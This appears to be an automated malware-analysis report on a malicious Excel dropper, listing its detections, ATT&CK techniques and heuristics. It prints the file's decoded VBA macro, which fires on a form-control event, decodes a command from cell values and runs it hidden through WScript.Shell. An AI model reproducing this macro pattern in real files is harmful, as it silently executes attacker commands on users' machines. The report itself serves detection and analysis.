MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The VBA macro within this Excel file utilizes WScript.Shell to execute commands, indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_WSCRIPT' heuristic firings. The script attempts to construct a command string from cell constants and execute it, likely to download and run a secondary payload. The ClamAV detection name 'Xls.Dropper.Agent-7784667-0' further supports its role as a dropper.
Heuristics 6
-
ClamAV: Xls.Dropper.Agent-7784667-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-7784667-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
For Each pagess In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants) zz = f: backs = backs + Chr(pagess + li): Next pagess: WScript.Quit = ("" & CreateObject("WScript.Shell").Run(backs, zz, f)): WScript.Quit: ActiveWorkbook.Close False End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
For Each pagess In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants) zz = f: backs = backs + Chr(pagess + li): Next pagess: WScript.Quit = ("" & CreateObject("WScript.Shell").Run(backs, zz, f)): WScript.Quit: ActiveWorkbook.Close False End Sub -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
- http://ns.adobe.com/xap/1.0/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1153 bytes |
SHA-256: b03e3fe42d910ac35d42d4b085e9c03cc26693400543bd95305faafa9a497384 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "OpenAndSave, 8, 2, MSForms, CommandButton"
Attribute VB_Control = "SaveAndOpen, 9, 3, MSForms, Frame"
Private Sub OpenAndSave_Click()
openedd
End Sub
Private Sub SaveAndOpen_Layout()
OpenAndSave_Click
End Sub
Sub openedd()
On Error Resume Next:
f = 0: li = 1
For Each pagess In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
zz = f: backs = backs + Chr(pagess + li): Next pagess: WScript.Quit = ("" & CreateObject("WScript.Shell").Run(backs, zz, f)): WScript.Quit: ActiveWorkbook.Close False
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.